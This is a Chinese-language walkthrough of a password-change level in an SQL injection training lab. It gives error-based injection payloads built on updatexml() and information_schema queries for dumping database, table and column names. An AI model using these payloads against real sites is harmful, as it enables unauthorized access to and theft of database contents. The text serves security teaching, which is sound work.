第十七关单引号字符型注入 ,推荐使用报错注入。
一、功能分析
这关是一个修改密码的功能,先查询用户名是否正确。
- 如果用户名正确,后台就修改密码,并提示修改成功;
- 如果用户名错误,页面就直接返回修改失败;
二、思路分析
用户名被过滤,注入点在密码处,这意味着我们需要事先知道一个正确的用户名(盲猜 admin)。
用户名正确的前提下:
- 密码携带单引号,页面显示数据库的报错信息,适合报错注入。
- 万能密码登录成功,页面不动态显示查询结果(返回写死的图片),不适合联合注入。
三、解题步骤
方式一:报错注入
参考文章:报错注入使用详解,原理+步骤+实战教程
第一步、判断注入点
用户名输入:admin
密码输入:a'
页面显示数据库的报错信息,分析可知,注入点为单引号字符型注入。
第二步、判断报错条件
用户名输入:admin
密码输入:a' and updatexml(1,0x7e,3) -- a
页面显示报错函数的内容,确定报错注入可用。
第三步、脱库
获取当前使用的数据库,用户名输入:admin
密码输入:
a' and updatexml(1,
concat(0x7e,
substr(
(database())
,1,32)
)
,3) -- a
执行结果:
其余脱库操作时,将下图圈中的 部分替换成SQL语句即可:
常用的脱库语句:
# 获取所有数据库
select group_concat(schema_name)
from information_schema.schemata
# 获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"
# 获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"